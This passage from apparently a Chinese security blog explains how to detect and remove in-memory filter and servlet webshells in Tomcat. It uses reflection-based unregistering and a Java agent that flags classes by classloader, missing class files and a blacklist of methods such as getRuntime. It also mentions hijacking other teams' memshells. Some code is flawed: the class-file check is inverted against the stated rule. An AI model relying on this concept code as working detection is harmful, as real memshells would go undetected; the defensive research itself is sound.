<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>在内存马横行的当下,蓝队or应急的师傅如何能快速判断哪些Filter/Servlet是内存马,分析内存马的行为功能是什么?最终又如何不重启的将其清除?红队师傅又如何抓铺其他师傅的内存马为自己用,亦或是把师傅的内存马踢掉?</p><p>在当下攻防对抗中,一直缺少着针对内存马扫描,捕捉与查杀的辅助脚本。下面就以<code>Tomcat 8.5.47</code>为例子,分享下编写方法,其他中间件万变不离其宗。</p><p>考虑到Agent技术针对红队来说比较重,我们这次使用jsp技术来解决以上问题。</p><h2 id="0x02-扫描Filter和Servlet"><a href="#0x02-扫描Filter和Servlet" class="headerlink" title="0x02 扫描Filter和Servlet"></a>0x02 扫描Filter和Servlet</h2><p>要想扫描web应用内存中的Filter和Servlet,我们必须知道它们存储的位置。通过查看代码,我们知道StandardContext对象中维护的是一个</p><p>和Filter相关的是<code>filterDefs</code>和<code>filterMaps</code>两个属性。这两个属性分别维护着全局Filter的定义,以及Filter的映射关系。</p><p><img src="/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/filterMaps-filterRefs.png" alt="filterMaps和filterRefs属性结构"></p><p>和Servlet相关的是<code>children</code>和<code>servletMappings</code>两个属性。这两个属性分别维护这全家Servlet的定义,以及Servlet的映射关系。</p><p><img src="/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/servletMappings.png" alt="servletMappings属性结构"></p><p><img src="/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/children.png" alt="children属性结构"></p><p>其他request对象中就存储这StandardContext对象。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">request.getSession().getServletContext() {ApplicationContextFacade}</span><br><span class="line"> -> context {ApplicationContext} </span><br><span class="line"> -> context {StandardContext}</span><br><span class="line"> * filterDefs</span><br><span class="line"> * filterMaps</span><br><span class="line"> * children</span><br><span class="line"> * servletMappings</span><br></pre></td></tr></table></figure><p>所以我们只需要通过反射遍历request,最终就可以拿到Filter和Servlet的如下信息。</p><ul><li>Filter/Servlet名</li><li>匹配路径</li><li>Class名</li><li>ClassLoader</li><li>Class文件存储路径。</li><li>内存中Class字节码(方便反编译审计其是否存在恶意代码)</li><li>该Class是否有对应的磁盘文件(判断内存马的重要指标)</li></ul><p>具体反射遍历代码放文末github,这里值得一提是拿到Class名通过如下方法就能拿到其被加载到内存中的字节码内容。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">byte</span>[] classBytes = Repository.lookupClass(Class.forName(<span class="string">"me.gv7.Memshell"</span>)).getBytes();</span><br></pre></td></tr></table></figure><h2 id="0x03-注销Filter内存马"><a href="#0x03-注销Filter内存马" class="headerlink" title="0x03 注销Filter内存马"></a>0x03 注销Filter内存马</h2><p>通过分析调试Tomcat源码,我们知道Tomcat注销filter其实就是将该Filter从全局filterDefs和filterMaps中清除掉。具体的操作分别如下<code>removeFilterDef</code>和<code>removeFilterMap</code>两个方法中。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//org.apache.catalina.core.StandardContext#removeFilterDef</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">removeFilterDef</span><span class="params">(FilterDef filterDef)</span> </span>{</span><br><span class="line"> <span class="keyword">synchronized</span>(<span class="keyword">this</span>.filterDefs) {</span><br><span class="line"> <span class="keyword">this</span>.filterDefs.remove(filterDef.getFilterName());</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">this</span>.fireContainerEvent(<span class="string">"removeFilterDef"</span>, filterDef);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//org.apache.catalina.core.StandardContext#removeFilterMap</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">removeFilterMap</span><span class="params">(FilterMap filterMap)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.filterMaps.remove(filterMap);</span><br><span class="line"> <span class="keyword">this</span>.fireContainerEvent(<span class="string">"removeFilterMap"</span>, filterMap);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们只需要反射调用它们即可注销Filter。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title">deleteFilter</span><span class="params">(HttpServletRequest request,String filterName)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> Object standardContext = getStandardContext(request);</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// org.apache.catalina.core.StandardContext#removeFilterDef</span></span><br><span class="line"> HashMap<String,Object> filterConfig = getFilterConfig(request);</span><br><span class="line"> Object appFilterConfig = filterConfig.get(filterName);</span><br><span class="line"> Field _filterDef = appFilterConfig.getClass().getDeclaredField(<span class="string">"filterDef"</span>);</span><br><span class="line"> _filterDef.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> Object filterDef = _filterDef.get(appFilterConfig);</span><br><span class="line"> Method removeFilterDef = standardContext.getClass().getDeclaredMethod(<span class="string">"removeFilterDef"</span>, <span class="keyword">new</span> Class[]{org.apache.tomcat.util.descriptor.web.FilterDef.class});</span><br><span class="line"> removeFilterDef.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> removeFilterDef.invoke(standardContext,filterDef);</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// org.apache.catalina.core.StandardContext#removeFilterMap</span></span><br><span class="line"> Object[] filterMaps = getFilterMaps(request);</span><br><span class="line"> <span class="keyword">for</span>(Object filterMap:filterMaps){</span><br><span class="line"> Field _filterName = filterMap.getClass().getDeclaredField(<span class="string">"filterName"</span>);</span><br><span class="line"> _filterName.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> String filterName0 = (String)_filterName.get(filterMap);</span><br><span class="line"> <span class="keyword">if</span>(filterName0.equals(filterName)){</span><br><span class="line"> Method removeFilterMap = standardContext.getClass().getDeclaredMethod(<span class="string">"removeFilterMap"</span>, <span class="keyword">new</span> Class[]{org.apache.catalina.deploy.FilterMap.class});</span><br><span class="line"> removeFilterDef.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> removeFilterMap.invoke(standardContext,filterMap);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x04-注销Servlet内存马"><a href="#0x04-注销Servlet内存马" class="headerlink" title="0x04 注销Servlet内存马"></a>0x04 注销Servlet内存马</h2><p>注销Servlet的原理也是类似,将该Servlet从全局servletMappings和children中清除掉即可。在Tomcat源码中对应的是<code>removeServletMapping</code>和<code>removeChild</code>方法。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//org.apache.catalina.core.StandardContext#removeServletMapping</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">removeServletMapping</span><span class="params">(String pattern)</span> </span>{</span><br><span class="line"> String name = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">synchronized</span>(<span class="keyword">this</span>.servletMappingsLock) {</span><br><span class="line"> name = (String)<span class="keyword">this</span>.servletMappings.remove(pattern);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Wrapper wrapper = (Wrapper)<span class="keyword">this</span>.findChild(name);</span><br><span class="line"> <span class="keyword">if</span> (wrapper != <span class="keyword">null</span>) {</span><br><span class="line"> wrapper.removeMapping(pattern);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.fireContainerEvent(<span class="string">"removeServletMapping"</span>, pattern);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//org.apache.catalina.core.StandardContext#removeChild</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">removeChild</span><span class="params">(Container child)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (!(child <span class="keyword">instanceof</span> Wrapper)) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(sm.getString(<span class="string">"standardContext.notWrapper"</span>));</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">super</span>.removeChild(child);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们只需要反射调用它们即可注销Servlet。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title">deleteServlet</span><span class="params">(HttpServletRequest request,String servletName)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> HashMap<String,Object> childs = getChildren(request);</span><br><span class="line"> Object objChild = childs.get(servletName);</span><br><span class="line"> String urlPattern = <span class="keyword">null</span>;</span><br><span class="line"> HashMap<String,String> servletMaps = getServletMaps(request);</span><br><span class="line"> <span class="keyword">for</span>(Map.Entry<String,String> servletMap:servletMaps.entrySet()){</span><br><span class="line"> <span class="keyword">if</span>(servletMap.getValue().equals(servletName)){</span><br><span class="line"> urlPattern = servletMap.getKey();</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(urlPattern != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="comment">// 反射调用 org.apache.catalina.core.StandardContext#removeServletMapping</span></span><br><span class="line"> Object standardContext = getStandardContext(request);</span><br><span class="line"> Method removeServletMapping = standardContext.getClass().getDeclaredMethod(<span class="string">"removeServletMapping"</span>, <span class="keyword">new</span> Class[]{String.class});</span><br><span class="line"> removeServletMapping.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> removeServletMapping.invoke(standardContext, urlPattern);</span><br><span class="line"> <span class="comment">// Tomcat 6必须removeChild 789可以不用</span></span><br><span class="line"> <span class="comment">// 反射调用 org.apache.catalina.core.StandardContext#removeChild</span></span><br><span class="line"> Method removeChild = standardContext.getClass().getDeclaredMethod(<span class="string">"removeChild"</span>, <span class="keyword">new</span> Class[]{org.apache.catalina.Container.class});</span><br><span class="line"> removeChild.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> removeChild.invoke(standardContext, objChild);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x05-演示"><a href="#0x05-演示" class="headerlink" title="0x05 演示"></a>0x05 演示</h2><p>我们只需要把编写好的<code>tomcat-memshell-scanner.jsp</code>放到可能被注入内存的web项目中,然后通过浏览器访问即可。假设扫描结果如下:</p><p><img src="/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/tomcat-memshell-scan-result.png" alt="Tomcat内存马扫描结果"></p><p>通过分析扫描出的信息,可知<code>filter-b2b1cad2-44be-4f43-8db0-bd43da5ad368</code>是Filter型内存马,原因如下:</p><ol><li>classLoader是可疑的<code>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader</code>,这是反序列化漏洞执行代码用的classLoader。</li><li>class在磁盘中没有对应的class文件,只驻留在内存。</li></ol><p><code>/favicon.ico</code>是Servlet型内存马,判断原因如下。</p><ol><li>classLoader是自定义classLoader,当下比较流行的java webshell基本都是自定义了class loader来实现任意代码执行。</li><li>class在磁盘中没有对应的class文件,只驻留在内存。</li></ol><p>最后我们可以dump出那么对应的class,反编译看代码分析<code>filter-b2b1cad2-44be-4f43-8db0-bd43da5ad368</code>是Filter型cmd内存马,<code>/favicon.ico</code>是Servlet型哥斯拉内存马。</p>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
</entry>
<entry>
<title>查杀Java web filter型内存马</title>
<link href="/articles/2020/kill-java-web-filter-memshell/"/>
<url>/articles/2020/kill-java-web-filter-memshell/</url>
<content type="html"><![CDATA[<blockquote><p>想法早在几个月之前就有了,月初收好友之邀请,夜游鼓浪屿,彼时夜朗星稀,山海一色,偶有微波抚足,不觉间有了点写东西的感觉,晚上回到旅社简单写了下。等回到北京后,不料润色之意全无,就凑合看吧。</p></blockquote><p><img src="/articles/2020/kill-java-web-filter-memshell/gulangyu01.jpeg" alt></p><p><img src="/articles/2020/kill-java-web-filter-memshell/gulangyu02.jpeg" alt></p><h2 id="0x01-内存马简历史"><a href="#0x01-内存马简历史" class="headerlink" title="0x01 内存马简历史"></a>0x01 内存马简历史</h2><p>其实内存马由来已久,早在17年n1nty师傅的<a href="https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw" target="_blank" rel="noopener">《Tomcat源码调试笔记-看不见的shell》</a>中已初见端倪,但一直不温不火。后经过rebeyong师傅使用<a href="https://www.cnblogs.com/rebeyond/p/9686213.html" target="_blank" rel="noopener">agent技术</a>加持后,拓展了内存马的使用场景,然终停留在奇技淫巧上。在各类hw洗礼之后,文件shell明显气数已尽。内存马以救命稻草的身份重回大众视野。特别是今年在shiro的回显研究之后,引发了无数安全研究员对内存webshell的研究,其中涌现出了LandGrey师傅构造的<a href="https://landgrey.me/blog/12/" target="_blank" rel="noopener">Spring controller内存马</a>。至此内存马开枝散叶发展出了三大类型:</p><ol><li>servlet-api类<ul><li>filter型</li><li>servlet型</li></ul></li><li>spring类<ul><li>拦截器</li><li>controller型</li></ul></li><li>Java Instrumentation类<ul><li>agent型</li></ul></li></ol><p>内存马这坛深巷佳酒,一时间流行于市井与弄堂之间。上至安全研究员下至普通客户,人尽皆知。正值hw来临之际,不难推测届时必将是内存马横行天下之日。而各大安全厂商却迟迟未见动静。所谓表面风平浪静,实则暗流涌动。或许一场内存马的围剿计划正慢慢展开。作为攻击方向的研究人员,没有对手就制造对手,攻防互换才能提升内存马技术的发展。</p><h2 id="0x02-查杀思路"><a href="#0x02-查杀思路" class="headerlink" title="0x02 查杀思路"></a>0x02 查杀思路</h2><p>我们判断逻辑很朴实,利用Java Agent技术遍历所有已经加载到内存中的class。先判断是否是内存马,是则进入内存查杀。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Transformer</span> <span class="keyword">implements</span> <span class="title">ClassFileTransformer</span> </span>{</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">byte</span>[] transform(ClassLoader classLoader, String s, Class<?> aClass, ProtectionDomain protectionDomain, <span class="keyword">byte</span>[] bytes) <span class="keyword">throws</span> IllegalClassFormatException {</span><br><span class="line"> <span class="comment">// 识别内存马</span></span><br><span class="line"> <span class="keyword">if</span>(isMemshell(aClass,bytes)){</span><br><span class="line"> <span class="comment">// 查杀内存马</span></span><br><span class="line"> <span class="keyword">byte</span>[] newClassByte = killMemshell(aClass,bytes);</span><br><span class="line"> <span class="keyword">return</span> newClassByte;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">return</span> bytes;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x03-内存马的识别"><a href="#0x03-内存马的识别" class="headerlink" title="0x03 内存马的识别"></a>0x03 内存马的识别</h2><p>要识别,我们就需要细思内存马有什么特征。下面列下我思考过的检查点。</p><ol><li>filter名字很特别</li></ol><p>内存马的Filter名一般比较特别,有<code>shell</code>或者随机数等关键字。这个特征稍弱,因为这取决于内存马的构造者的习惯,构造完全可以设置一个看起来很正常的名字。</p><ol start="2"><li>filter优先级是第一位</li></ol><p>为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,这在shiro反序列化中是刚需。但其他场景下就非必须,只能做一个可疑点。</p><ol start="2"><li>对比web.xml中没有filter配置</li></ol><p>内存马的Filter是动态注册的,所以在web.xml中肯定没有配置,这也是个可以的特征。但servlet 3.0引入了<code>@WebFilter</code>标签方便开发这动态注册Filter。这种情况也存在没有在web.xml中显式声明,这个特征可以作为较强的特征。</p><ol start="4"><li>特殊classloader加载</li></ol><p>我们都知道Filter也是class,也是必定有特定的classloader加载。一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个:</p><ul><li>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader</li><li>com.sun.org.apache.bcel.internal.util.ClassLoader</li></ul><p>这个特征是一个特别可疑的点了。当然了,有的内存马还是比较狡猾的,它会注入class到当前线程中,然后实例化注入内存马。这个时候内存马就有可能不是上面两个classloader。</p><ol start="5"><li>对应的classloader路径下没有class文件</li></ol><p>所谓内存马就是代码驻留内存中,本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader目录下是否存在class文件。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">boolean</span> <span class="title">classFileIsExists</span><span class="params">(Class clazz)</span></span>{</span><br><span class="line"> <span class="keyword">if</span>(clazz == <span class="keyword">null</span>){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> String className = clazz.getName();</span><br><span class="line"> String classNamePath = className.replace(<span class="string">"."</span>, <span class="string">"/"</span>) + <span class="string">".class"</span>;</span><br><span class="line"> URL is = clazz.getClassLoader().getResource(classNamePath);</span><br><span class="line"> <span class="keyword">if</span>(is == <span class="keyword">null</span>){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ol start="6"><li>Filter的doFilter方法中有恶意代码</li></ol><p>我们可以把内存中所有的Filter的class dump出来,使用<code>fernflower</code>等反编译工具分析看看,是否存在恶意代码,比如调用了如下可疑的方法:</p><ul><li>java.lang.Runtime.getRuntime</li><li>defineClass</li><li>invoke</li><li>…</li></ul><p>不难分析,内存马的命门在于<code>5</code>和<code>6</code>。简单说就是Filter型内存马首先是一个Filter类,同时它在硬盘上没有对应的class文件。若dump出的class还有恶意代码,那是内存马无疑啦。大致检查的代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">boolean</span> <span class="title">isMemshell</span><span class="params">(Class targetClass,<span class="keyword">byte</span>[] targetClassByte)</span></span>{</span><br><span class="line"> ClassLoader classLoader = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">if</span>(targetClass.getClassLoader() != <span class="keyword">null</span>) {</span><br><span class="line"> classLoader = targetClass.getClassLoader();</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> classLoader = Thread.currentThread().getContextClassLoader();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Class clsFilter = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> clsFilter = classLoader.loadClass(<span class="string">"javax.servlet.Filter"</span>);</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 是否是filter</span></span><br><span class="line"> <span class="keyword">if</span>(clsFilter != <span class="keyword">null</span> && clsFilter.isAssignableFrom(targetClass)){</span><br><span class="line"> <span class="comment">// class loader 是不是Templates或bcel</span></span><br><span class="line"> <span class="keyword">if</span>(classLoader.getClass().getName().contains(<span class="string">"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader"</span>)</span><br><span class="line"> || classLoader.getClass().getName().contains(<span class="string">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span>)){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 是否存在ClassLoader的文件目录下存在对应的class文件</span></span><br><span class="line"> <span class="keyword">if</span>(classFileIsExists(targetClass)){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// filter是否包含恶意代码。</span></span><br><span class="line"> String[] blacklist = <span class="keyword">new</span> String[]{<span class="string">"getRuntime"</span>,<span class="string">"defineClass"</span>,<span class="string">"invoke"</span>};</span><br><span class="line"> String clsJavaCode = FernflowerUtils.decomper(targetClass,targetClassByte);</span><br><span class="line"> <span class="keyword">for</span>(String b:blacklist){</span><br><span class="line"> <span class="keyword">if</span>(clsJavaCode.contains(b)){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>PS: 本文讨论查杀的思路,给出的代码只是概念正面的伪装代码。完美的方案是将以上6点作为判断指标,并根据指标的重要性赋予不同权重。满足的条件越多越可能是内存马。</p><h2 id="0x04-内存马的查杀"><a href="#0x04-内存马的查杀" class="headerlink" title="0x04 内存马的查杀"></a>0x04 内存马的查杀</h2><p>内存马识别完成,接下来就是如何查杀了。</p><p>方法一: 清除内存马中的Filter的恶意代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">byte</span>[] killMemshell(Class clsMemshell,<span class="keyword">byte</span>[] byteMemshell) <span class="keyword">throws</span> Exception{</span><br><span class="line"> File file = <span class="keyword">new</span> File(String.format(<span class="string">"/tmp/%s.class"</span>,clsMemshell.getName()));</span><br><span class="line"> <span class="keyword">if</span>(file.exists()){</span><br><span class="line"> file.delete();</span><br><span class="line"> }</span><br><span class="line"> FileOutputStream fos = <span class="keyword">new</span> FileOutputStream(file.getAbsoluteFile());</span><br><span class="line"> fos.write(byteMemshell);</span><br><span class="line"> fos.flush();</span><br><span class="line"> fos.close();</span><br><span class="line"> ClassPool cp = ClassPool.getDefault();</span><br><span class="line"> cp.insertClassPath(<span class="string">"/tmp/"</span>);</span><br><span class="line"> CtClass cc = cp.getCtClass(clsMemshell.getName());</span><br><span class="line"> CtMethod m = cc.getDeclaredMethod(<span class="string">"doFilter"</span>);</span><br><span class="line"> m.addLocalVariable(<span class="string">"elapsedTime"</span>, CtClass.longType);</span><br><span class="line"> <span class="comment">// 正确覆盖代码:</span></span><br><span class="line"> <span class="comment">// m.setBody("{$3.doFilter($1,$2);}");</span></span><br><span class="line"> <span class="comment">// 方便演示代码:</span></span><br><span class="line"> m.setBody(<span class="string">"{$2.getWriter().write(\"Your memory horse has been killed by c0ny1\");}"</span>);</span><br><span class="line"> <span class="keyword">byte</span>[] byteCode = cc.toBytecode();</span><br><span class="line"> cc.detach();</span><br><span class="line"> <span class="keyword">return</span> byteCode;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>方法二: 模拟中间件注销Filter</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//反序列化执行代码反射获取到StandardContext</span></span><br><span class="line">Object standardContext = ...;</span><br><span class="line">Field _filterConfigs = standardContext.getClass().getDeclaredField(<span class="string">"filterConfigs"</span>);</span><br><span class="line">_filterConfigs.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">Object filterConfigs = _filterConfigs.get(standardContext);</span><br><span class="line">Map<String, ApplicationFilterConfig> filterConfigMap = (Map<String, ApplicationFilterConfig>)filterConfigs;</span><br><span class="line"><span class="keyword">for</span>(Map.Entry<String, ApplicationFilterConfig> map : filterConfigMap.entrySet()){</span><br><span class="line"> String filterName = map.getKey();</span><br><span class="line"> ApplicationFilterConfig filterConfig = map.getValue();</span><br><span class="line"> Filter filterObject = filterConfig.getFilter();</span><br><span class="line"> <span class="comment">// 如果是内存马的filter名</span></span><br><span class="line"> <span class="keyword">if</span>(filterName.startsWith(<span class="string">"memshell"</span>)){</span><br><span class="line"> SecurityUtil.remove(filterObject);</span><br><span class="line"> filterConfigMap.remove(filterName);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>两种方法各有优劣,第一种方法比较通用,直接适配所有中间件。但恶意Filter依然在,只是恶意代码被清除了。第二种方法比较优雅,恶意Filter会被清除掉。但每种中间件注销Filter的逻辑不尽相同,需要一一适配。为了方便演示我们选第一种。</p><h2 id="0x05-demo展示"><a href="#0x05-demo展示" class="headerlink" title="0x05 demo展示"></a>0x05 demo展示</h2><p>最后给大家展示下,我查杀demo的效果。</p><p><img src="/articles/2020/kill-java-web-filter-memshell/kill-java-filter-memshell-demo.gif" alt="查杀演示"></p><h2 id="0x06-总结"><a href="#0x06-总结" class="headerlink" title="0x06 总结"></a>0x06 